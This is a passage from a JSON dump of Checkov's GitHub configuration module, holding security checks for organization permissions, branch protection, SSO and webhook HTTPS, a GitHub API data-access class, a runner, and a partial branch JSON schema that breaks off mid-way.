    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_org_check import BaseOrganizationCheck\n\n\nclass GithubRequireStrictBasePermissionsRepository(BaseOrganizationCheck):\n    def __init__(self) -> None:\n        # https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization\n        name = \"Ensure strict base permissions are set for repositories\"\n        id = \"CKV_GITHUB_27\"\n        super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"default_repository_permission\"]\n\n    def get_allowed_values(self) -> list[Any]:\n        return ['read', None]\n\n\ncheck = GithubRequireStrictBasePermissionsRepository()\n"
  },
  {
    "path": "checkov/github/checks/require_updated_branch_pr.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_negative_branch_security import NegativeBranchSecurity\n\n\nclass GithubRequireUpdatedBranch(NegativeBranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure open git branches are up to date before they can be merged into codebase\"\n        id = \"CKV_GITHUB_20\"\n        super().__init__(name=name, id=id, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_status_checks/strict\"]\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = GithubRequireUpdatedBranch()\n"
  },
  {
    "path": "checkov/github/checks/require_verified_organization.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github.base_github_org_check import BaseOrganizationCheck\n\n\nclass GithubRequireOrganizationIsVerified(BaseOrganizationCheck):\n    def __init__(self) -> None:\n        name = \"Ensure an organization's identity is confirmed with a Verified badge Passed\"\n        id = \"CKV_GITHUB_28\"\n        super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"is_verified\"]\n\n    def get_allowed_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = GithubRequireOrganizationIsVerified()\n"
  },
  {
    "path": "checkov/github/checks/restrict_pr_review_dismissal.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.github.base_github_negative_branch_security import NegativeBranchSecurity\n\n\nclass GithubBranchDismissalRestrictions(NegativeBranchSecurity):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub branch protection restricts who can dismiss PR reviews\"\n        id = \"CKV_GITHUB_12\"\n        super().__init__(name=name, id=id)\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"required_pull_request_reviews/dismissal_restrictions\"]\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [ANY_VALUE]\n\n\ncheck = GithubBranchDismissalRestrictions()\n"
  },
  {
    "path": "checkov/github/checks/sso.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom bc_jsonpath_ng import parse\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck\nfrom checkov.github.schemas.org_security import schema as org_security_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass GithubSSO(BaseGithubCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub organization security settings require SSO\"\n        id = \"CKV_GITHUB_2\"\n        categories = (CheckCategories.SUPPLY_CHAIN, )\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        if org_security_schema.validate(conf):\n            jsonpath_expression = parse(\"$..{}\".format(self.get_evaluated_keys()[0].replace(\"/\", \".\")))\n            if len(jsonpath_expression.find(conf)) > 0:\n                return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['data/organization/samlIdentityProvider/ssoUrl']\n\n\ncheck = GithubSSO()\n"
  },
  {
    "path": "checkov/github/checks/webhooks_https_orgs.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck, HTTP\nfrom checkov.github.schemas.org_webhooks import schema as org_webhooks_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass WebhookHttpsOrg(BaseGithubCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub organization webhooks are using HTTPS\"\n        id = \"CKV_GITHUB_6\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]] | None:  # type:ignore[override]\n        ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf)\n        if 'org_webhooks' in ckv_metadata.get('file_name', ''):\n            if org_webhooks_schema.validate(conf):\n                for item in conf:\n                    if isinstance(item, dict):\n                        item_config = item.get(\"config\", {})\n                        if not item_config:\n                            continue\n                        url = item_config.get('url', '')\n                        insecure_ssl = item_config.get('insecure_ssl', '0')\n                        secret = item_config.get('secret', '')\n                        if url.startswith(HTTP):\n                            return CheckResult.FAILED, item_config\n                        if insecure_ssl != '0' and secret != '********':  # nosec\n                            return CheckResult.FAILED, item_config\n                return CheckResult.PASSED, conf\n        return CheckResult.UNKNOWN, conf\n\n\ncheck = WebhookHttpsOrg()\n"
  },
  {
    "path": "checkov/github/checks/webhooks_https_repos.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.github.base_github_configuration_check import BaseGithubCheck, HTTP\nfrom checkov.github.schemas.repository_webhooks import schema as repository_webhooks_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass WebhookHttpsRepo(BaseGithubCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GitHub repository webhooks are using HTTPS\"\n        id = \"CKV_GITHUB_7\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            id=id,\n            name=name,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]] | None:  # type:ignore[override]\n        ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf)\n        if 'repository_webhooks' in ckv_metadata.get('file_name', ''):\n            if repository_webhooks_schema.validate(conf):\n                for item in conf:\n                    if isinstance(item, dict):\n                        item_config = item.get(\"config\", {})\n                        if not item_config:\n                            continue\n                        url = item_config.get('url', '')\n                        insecure_ssl = item_config.get('insecure_ssl', '0')\n                        if url.startswith(HTTP):\n                            return CheckResult.FAILED, item_config\n                        if insecure_ssl != '0':\n                            return CheckResult.FAILED, item_config\n                return CheckResult.PASSED, conf\n        return CheckResult.UNKNOWN, conf\n\n\ncheck = WebhookHttpsRepo()\n"
  },
  {
    "path": "checkov/github/dal.py",
    "content": "from __future__ import annotations\n\nimport os\nimport shutil\nfrom typing import Any\nfrom pathlib import Path\n\nfrom checkov.common.runners.base_runner import strtobool\nfrom checkov.common.vcs.base_vcs_dal import BaseVCSDAL\nfrom checkov.github.schemas.org_security import schema as org_security_schema\n\n\nCKV_METADATA = 'CKV_METADATA'\n\n\nclass Github(BaseVCSDAL):\n    github_conf_dir_path: str  # noqa: CCE003  # a static attribute\n    github_conf_file_paths: dict[str, list[Path]]  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def setup_conf_dir(self) -> None:\n        github_conf_dir_name = os.getenv('CKV_GITHUB_CONF_DIR_NAME', 'github_conf')\n        self.github_conf_dir_path = os.path.join(os.getcwd(), github_conf_dir_name)\n        os.environ[\"CKV_GITHUB_CONF_DIR_PATH\"] = self.github_conf_dir_path\n\n        # if any file was left from previous run-remove it.\n        if os.path.isdir(self.github_conf_dir_path):\n            shutil.rmtree(self.github_conf_dir_path)\n\n        self.github_conf_file_paths = {\n            \"org_security\": [Path(self.github_conf_dir_path) / \"org_security.json\"],\n            \"branch_protection_rules\": [Path(self.github_conf_dir_path) / \"branch_protection_rules.json\"],\n            \"org_webhooks\": [],  # is updated when persisted\n            \"repository_webhooks\": [],  # is updated when persisted\n            \"repository_collaborators\": [Path(self.github_conf_dir_path) / \"repository_collaborators.json\"],\n            \"branch_metadata\": [Path(self.github_conf_dir_path) / \"branch_metadata.json\"],\n            \"org_metadata\": [Path(self.github_conf_dir_path) / \"org_metadata.json\"],\n            \"org_admins\": [Path(self.github_conf_dir_path) / \"org_admins.json\"],\n        }\n\n    def discover(self) -> None:\n        self.api_url = os.getenv('GITHUB_API_URL', \"https://api.github.com\")\n        self.graphql_api_url = f\"{self.api_url}/graphql\"\n\n        self.token = os.getenv('GITHUB_TOKEN', '')\n        self.repo_owner = os.getenv('GITHUB_REPO_OWNER', '')\n        self.current_repository = os.getenv('GITHUB_REPOSITORY', '')\n        self.current_branch = os.getenv('GITHUB_REF_NAME', '')\n        if not self.current_branch:\n            self.current_branch = os.getenv('GITHUB_REF', 'refs/heads/master')\n            if self.current_branch:\n                extracted_branch_array = self.current_branch.split(\"/\")\n                if len(extracted_branch_array) == 3:\n                    self.current_branch = extracted_branch_array[2]\n\n        self.default_branch_cache = {}\n        self.org = os.getenv('GITHUB_ORG', '')\n\n    def _headers(self) -> dict[str, str]:\n        return {\"Accept\": \"application/vnd.github.v3+json\",\n                \"Authorization\": \"token {}\".format(self.token)}\n\n    # -------------------------------- Endpoints -------------------------------- #\n\n    def get_branch_protection_rules(self) -> dict[str, Any] | None:\n        if self.current_branch and self.current_repository:\n            data = self._request(\n                endpoint=f\"repos/{self.repo_owner}/{self.current_repository}/branches/{self.current_branch}/protection\",\n                allowed_status_codes=[200, 404])\n            return data\n        return None\n\n    def get_organization_webhooks(self) -> list[dict[str, Any]] | None:\n        data = self._request(endpoint=f\"orgs/{self.org}/hooks\", allowed_status_codes=[200])\n        if isinstance(data, list):\n            return data\n        return None\n\n    def get_repository_collaborators(self) -> dict[str, Any] | None:\n        data = self._request(\n            endpoint=f\"repos/{self.repo_owner}/{self.current_repository}/collaborators\",\n            allowed_status_codes=[200]\n        )\n        return data\n\n    def get_repository_webhooks(self) -> list[dict[str, Any]] | None:\n        data = self._request(\n            endpoint=f\"repos/{self.repo_owner}/{self.current_repository}/hooks\",\n            allowed_status_codes=[200])\n        if isinstance(data, list):\n            return data\n        return None\n\n    def get_organization_security(self) -> dict[str, str] | None:\n        if not self._organization_security:\n            data = self._request_graphql(query=\"\"\"\n                query ($org: String! ) {\n                    organization(login: $org) {\n                        name\n                        login\n                        description\n                        ipAllowListEnabledSetting\n                        ipAllowListForInstalledAppsEnabledSetting\n                        requiresTwoFactorAuthentication\n                        samlIdentityProvider {\n                            ssoUrl\n                        }\n                    }\n                }\n                \"\"\", variables={'org': self.org})\n            if not data:\n                return None\n            if org_security_schema.validate(data):\n                self._organization_security = data\n        return self._organization_security\n\n    def get_default_branch(self) -> None:\n        # still not used - for future implementations\n        default_branch = self.repo_complementary_metadata.get(\"default_branch\")\n        if not default_branch:\n            data = self._request_graphql(query=\"\"\"\n                query ($owner: String!, $name: String!){\n                  repository(owner: $owner, name: $name) {\n                    defaultBranchRef {\n                      name\n                    }\n                  }\n                }\n                \"\"\", variables={'owner': self.repo_owner, 'name': self.current_repository})\n            if not data:\n                return None\n            if org_security_schema.validate(data):\n                self.repo_complementary_metadata[\"default_branch\"] = \\\n                    data.get('data', {}).get('repository', {}).get('defaultBranchRef', {}).get('name')\n\n    def get_branch_metadata(self) -> dict[str, Any] | None:\n        # new endpoint since Dec22\n        data = self._request(\n            endpoint=f\"repos/{self.repo_owner}/{self.current_repository}/branches/{self.current_branch}\",\n            allowed_status_codes=[200]\n        )\n        return data\n\n    def get_organization_metadata(self) -> dict[str, Any] | None:\n        # new endpoint since Dec22\n        data = self._request(endpoint=f\"orgs/{self.org}\", allowed_status_codes=[200])\n        return data\n\n    def get_organization_admins(self) -> dict[str, Any] | None:\n        # new endpoint since Dec22\n        data = self._request(endpoint=f\"orgs/{self.org}/members?role=admin\", allowed_status_codes=[200])\n        return data\n\n    def get_repository_metadata(self) -> dict[str, Any] | None:\n        # still not used - for future implementations\n        data = self._request(\n            endpoint=f\"repos/{self.repo_owner}/{self.current_repository}\",\n            allowed_status_codes=[200]\n        )\n        return data\n\n    # --------------------------------------------------------------------------- #\n\n    def persist_branch_protection_rules(self) -> None:\n        data = self.get_branch_protection_rules()\n        if data:\n            BaseVCSDAL.persist(path=self.github_conf_file_paths[\"branch_protection_rules\"][0], conf=data)\n\n    def persist_organization_security(self) -> None:\n        organization_security = self.get_organization_security()\n        if organization_security:\n            BaseVCSDAL.persist(path=self.github_conf_file_paths[\"org_security\"][0], conf=organization_security)\n\n    def persist_organization_webhooks(self) -> None:\n        organization_webhooks = self.get_organization_webhooks()\n        if organization_webhooks:\n            for idx, item in enumerate(organization_webhooks):\n                path = Path(self.github_conf_dir_path) / f\"org_webhooks{idx+1}.json\"\n                self.github_conf_file_paths[\"org_webhooks\"].append(path)\n                BaseVCSDAL.persist(path=path, conf=[item])\n\n    def persist_repository_collaborators(self) -> None:\n        repository_collaborators = self.get_repository_collaborators()\n        if repository_collaborators:\n            BaseVCSDAL.persist(\n                path=self.github_conf_file_paths[\"repository_collaborators\"][0],\n                conf=repository_collaborators)\n\n    def persist_repository_webhooks(self) -> None:\n        repository_webhooks = self.get_repository_webhooks()\n        if repository_webhooks:\n            for idx, item in enumerate(repository_webhooks):\n                path = Path(self.github_conf_dir_path) / f\"repository_webhooks{idx + 1}.json\"\n                self.github_conf_file_paths[\"repository_webhooks\"].append(path)\n                BaseVCSDAL.persist(path=path, conf=[item])\n\n    def persist_branch_metadata(self) -> None:\n        branch_metadata = self.get_branch_metadata()\n        if branch_metadata:\n            BaseVCSDAL.persist(path=self.github_conf_file_paths[\"branch_metadata\"][0], conf=branch_metadata)\n\n    def persist_organization_metadata(self) -> None:\n        org_metadata = self.get_organization_metadata()\n        if org_metadata:\n            BaseVCSDAL.persist(path=self.github_conf_file_paths[\"org_metadata\"][0], conf=org_metadata)\n\n    def persist_repository_metadata(self) -> None:\n        # still not used - for future implementations\n        repository_metadata = self.get_repository_metadata()\n        if repository_metadata:\n            BaseVCSDAL.persist(\n                path=self.github_conf_file_paths[\"repository_metadata\"][0],\n                conf=repository_metadata\n            )\n            self.org_complementary_metadata[\"is_private_repo\"] = repository_metadata.get('private')\n\n    def persist_organization_admins(self) -> None:\n        org_members = self.get_organization_admins()\n        if org_members:\n            BaseVCSDAL.persist(path=self.github_conf_file_paths[\"org_admins\"][0], conf=org_members)\n\n    def persist_all_confs(self) -> None:\n        if strtobool(os.getenv(\"CKV_GITHUB_CONFIG_FETCH_DATA\", \"True\")):\n            self.persist_organization_security()\n            self.persist_branch_protection_rules()\n            self.persist_organization_webhooks()\n            self.persist_repository_webhooks()\n            self.persist_repository_collaborators()\n            self.persist_branch_metadata()\n            self.persist_organization_metadata()\n            self.persist_organization_admins()\n"
  },
  {
    "path": "checkov/github/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.json_doc.base_registry import Registry\n\nregistry = Registry(CheckType.GITHUB_CONFIGURATION)\n"
  },
  {
    "path": "checkov/github/runner.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Callable\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.github.dal import Github, CKV_METADATA\nfrom checkov.json_doc.runner import Runner as JsonRunner\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.output.report import Report\n\n\nclass Runner(JsonRunner):\n    check_type = CheckType.GITHUB_CONFIGURATION  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        self.github = Github()\n        super().__init__()\n\n    def run(\n        self,\n        root_folder: str | None = None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        self.prepare_data()\n\n        report = super().run(\n            root_folder=self.github.github_conf_dir_path,\n            external_checks_dir=external_checks_dir,\n            files=None,  # ignore file scans\n            runner_filter=runner_filter,\n            collect_skip_comments=collect_skip_comments,\n        )\n        JsonRunner._change_files_path_to_relative(report)  # type:ignore[arg-type]  # report can only be of type Report, not a list\n        return report\n\n    def prepare_data(self) -> None:\n        self.github.persist_all_confs()\n\n    def require_external_checks(self) -> bool:\n        # default json runner require only external checks. Github runner brings build in checks\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        from checkov.github.registry import registry\n        return registry\n\n    def _load_files(\n            self,\n            files_to_load: list[str],\n            filename_fn: Callable[[str], str] | None = None,\n    ) -> None:\n        super(Runner, self)._load_files(files_to_load=files_to_load, filename_fn=filename_fn)\n\n        for file_path, definition in self.definitions.items():\n            file_name = Path(file_path).stem\n            ckv_metadata = {\n                'file_name': file_name,\n                'org_complementary_metadata': self.github.org_complementary_metadata,\n                'repo_complementary_metadata': self.github.repo_complementary_metadata,\n            }\n            if isinstance(definition, dict):\n                definition[CKV_METADATA] = ckv_metadata\n            elif isinstance(definition, list):\n                definition.append(ckv_metadata)\n"
  },
  {
    "path": "checkov/github/schemas/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/github/schemas/branch.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass BranchSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"title\": \"Branch With Protection\",\n            \"description\": \"Branch With Protection\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"name\": {\n                    \"type\": \"string\"\n                },\n                \"commit\": {\n                    \"title\": \"Commit\",\n                    \"description\": \"Commit\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"url\": {\n                            \"type\": \"string\",\n                            \"format\": \"uri\"\n                        },\n                        \"sha\": {\n                            \"type\": \"string\"\n                        },\n                        \"node_id\": {\n                            \"type\": \"string\"\n                        },\n                        \"html_url\": {\n                            \"type\": \"string\",\n                            \"format\": \"uri\"\n                        },\n                        \"comments_url\": {\n                            \"type\": \"string\",\n                            \"format\": \"uri\",\n                            \"examples\": [\n                                \"https://api.github.com/repos/octocat/Hello-World/commits/6dcb09b5b57875f334f61aebed695e2e4193db5e/comments\"\n                            ]\n                        },\n                        \"commit\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\",\n                                    \"examples\": [\n                                        \"https://api.github.com/repos/octocat/Hello-World/commits/6dcb09b5b57875f334f61aebed695e2e4193db5e\"\n                                    ]\n                                },\n                                \"author\": {\n                                    \"anyOf\": [\n                                        {\n                                            \"type\": \"null\"\n                                        },\n                                        {\n                                            \"title\": \"Git User\",\n                                            \"description\": \"Metaproperties for Git author/committer information.\",\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"name\": {\n                                                    \"type\": \"string\",\n                                                    \"examples\": [\n                                                        \"\\\"Chris Wanstrath\\\"\"\n                                                    ]\n                                                },\n                                                \"email\": {\n                                                    \"type\": \"string\",\n                                                    \"examples\": [\n                                                        \"\\\"chris@ozmm.org\\\"\"\n                                                    ]\n                                                },\n                                                \"date\": {\n                                                    \"type\": \"string\",\n                                                    \"examples\": [\n                                                        \"\\\"2007-10-29T02:42:39.000-07:00\\\"\"\n                                                    ]\n                                                }\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"committer\": {\n                                    \"anyOf\": [\n                                        {\n                                            \"type\": \"null\"\n                                        },\n                                        {\n                                            \"title\": \"Git User\",\n                                            \"description\": \"Metaproperties for Git author/committer information.\",\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"name\": {\n                                                    \"type\": \"string\",\n                                                    \"examples\": [\n                                                        \"\\\"Chris Wanstrath\\\"\"\n                                                    ]\n                                                },\n                                                \"email\": {\n                                                    \"type\": \"string\",\n                                                    \"examples\": [\n                                                        \"\\\"chris@ozmm.org\\\"\"\n                                                    ]\n                                                },\n                                                \"date\": {\n                                                    \"type\": \"string\",\n                                                    \"examples\": [\n                                                        \"\\\"2007-10-29T02:42:39.000-07:00\\\"\"\n                                                    ]\n                                                }\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"message\": {\n                                    \"type\": \"string\",\n                                    \"examples\": [\n                                        \"Fix all the bugs\"\n                                    ]\n                                },\n                                \"comment_count\": {\n                                    \"type\": \"integer\",\n                                    \"examples\": [\n                                        0\n                                    ]\n                                },\n                                \"tree\": {\n                                    \"type\": \"object\",\n                                    \"properties\": {\n                                        \"sha\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"827efc6d56897b048c772eb4087f854f46256132\"\n                                            ]\n                                        },\n                                        \"url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/repos/octocat/Hello-World/tree/827efc6d56897b048c772eb4087f854f46256132\"\n                                            ]\n                                        }\n                                    },\n                                    \"required\": [\n                                        \"sha\",\n                                        \"url\"\n                                    ]\n                                },\n                                \"verification\": {\n                                    \"title\": \"Verification\",\n                                    \"type\": \"object\",\n                                    \"properties\": {\n                                        \"verified\": {\n                                            \"type\": \"boolean\"\n                                        },\n                                        \"reason\": {\n                                            \"type\": \"string\"\n                                        },\n                                        \"payload\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ]\n                                        },\n                                        \"signature\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ]\n                                        }\n                                    },\n                                    \"required\": [\n                                        \"verified\",\n                                        \"reason\",\n                                        \"payload\",\n                                        \"signature\"\n                                    ]\n                                }\n                            },\n                            \"required\": [\n                                \"author\",\n                                \"committer\",\n                                \"comment_count\",\n                                \"message\",\n                                \"tree\",\n                                \"url\"\n                            ]\n                        },\n                        \"author\": {\n                            \"anyOf\": [\n                                {\n                                    \"type\": \"null\"\n                                },\n                                {\n                                    \"title\": \"Simple User\",\n                                    \"description\": \"A GitHub user.\",\n                                    \"type\": \"object\",\n                                    \"properties\": {\n                                        \"name\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ]\n                                        },\n                                        \"email\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ]\n                                        },\n                                        \"login\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"octocat\"\n                                            ]\n                                        },\n                                        \"id\": {\n                                            \"type\": \"integer\",\n                                            \"examples\": [\n                                                1\n                                            ]\n                                        },\n                                        \"node_id\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"MDQ6VXNlcjE=\"\n                                            ]\n                                        },\n                                        \"avatar_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://github.com/images/error/octocat_happy.gif\"\n                                            ]\n                                        },\n                                        \"gravatar_id\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ],\n                                            \"examples\": [\n                                                \"41d064eb2195891e12d0413f63227ea7\"\n                                            ]\n                                        },\n                                        \"url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat\"\n                                            ]\n                                        },\n                                        \"html_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://github.com/octocat\"\n                                            ]\n                                        },\n                                        \"followers_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/followers\"\n                                            ]\n                                        },\n                                        \"following_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/following{/other_user}\"\n                                            ]\n                                        },\n                                        \"gists_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                                            ]\n                                        },\n                                        \"starred_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                                            ]\n                                        },\n                                        \"subscriptions_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/subscriptions\"\n                                            ]\n                                        },\n                                        \"organizations_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/orgs\"\n                                            ]\n                                        },\n                                        \"repos_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/repos\"\n                                            ]\n                                        },\n                                        \"events_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/events{/privacy}\"\n                                            ]\n                                        },\n                                        \"received_events_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/received_events\"\n                                            ]\n                                        },\n                                        \"type\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"User\"\n                                            ]\n                                        },\n                                        \"site_admin\": {\n                                            \"type\": \"boolean\"\n                                        },\n                                        \"starred_at\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"\\\"2020-07-09T00:17:55Z\\\"\"\n                                            ]\n                                        }\n                                    },\n                                    \"required\": [\n                                        \"avatar_url\",\n                                        \"events_url\",\n                                        \"followers_url\",\n                                        \"following_url\",\n                                        \"gists_url\",\n                                        \"gravatar_id\",\n                                        \"html_url\",\n                                        \"id\",\n                                        \"node_id\",\n                                        \"login\",\n                                        \"organizations_url\",\n                                        \"received_events_url\",\n                                        \"repos_url\",\n                                        \"site_admin\",\n                                        \"starred_url\",\n                                        \"subscriptions_url\",\n                                        \"type\",\n                                        \"url\"\n                                    ]\n                                }\n                            ]\n                        },\n                        \"committer\": {\n                            \"anyOf\": [\n                                {\n                                    \"type\": \"null\"\n                                },\n                                {\n                                    \"title\": \"Simple User\",\n                                    \"description\": \"A GitHub user.\",\n                                    \"type\": \"object\",\n                                    \"properties\": {\n                                        \"name\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ]\n                                        },\n                                        \"email\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ]\n                                        },\n                                        \"login\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"octocat\"\n                                            ]\n                                        },\n                                        \"id\": {\n                                            \"type\": \"integer\",\n                                            \"examples\": [\n                                                1\n                                            ]\n                                        },\n                                        \"node_id\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"MDQ6VXNlcjE=\"\n                                            ]\n                                        },\n                                        \"avatar_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://github.com/images/error/octocat_happy.gif\"\n                                            ]\n                                        },\n                                        \"gravatar_id\": {\n                                            \"type\": [\n                                                \"string\",\n                                                \"null\"\n                                            ],\n                                            \"examples\": [\n                                                \"41d064eb2195891e12d0413f63227ea7\"\n                                            ]\n                                        },\n                                        \"url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat\"\n                                            ]\n                                        },\n                                        \"html_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://github.com/octocat\"\n                                            ]\n                                        },\n                                        \"followers_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/followers\"\n                                            ]\n                                        },\n                                        \"following_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/following{/other_user}\"\n                                            ]\n                                        },\n                                        \"gists_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                                            ]\n                                        },\n                                        \"starred_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                                            ]\n                                        },\n                                        \"subscriptions_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/subscriptions\"\n                                            ]\n                                        },\n                                        \"organizations_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/orgs\"\n                                            ]\n                                        },\n                                        \"repos_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/repos\"\n                                            ]\n                                        },\n                                        \"events_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"https://api.github.com/users/octocat/events{/privacy}\"\n                                            ]\n                                        },\n                                        \"received_events_url\": {\n                                            \"type\": \"string\",\n                                            \"format\": \"uri\",\n                   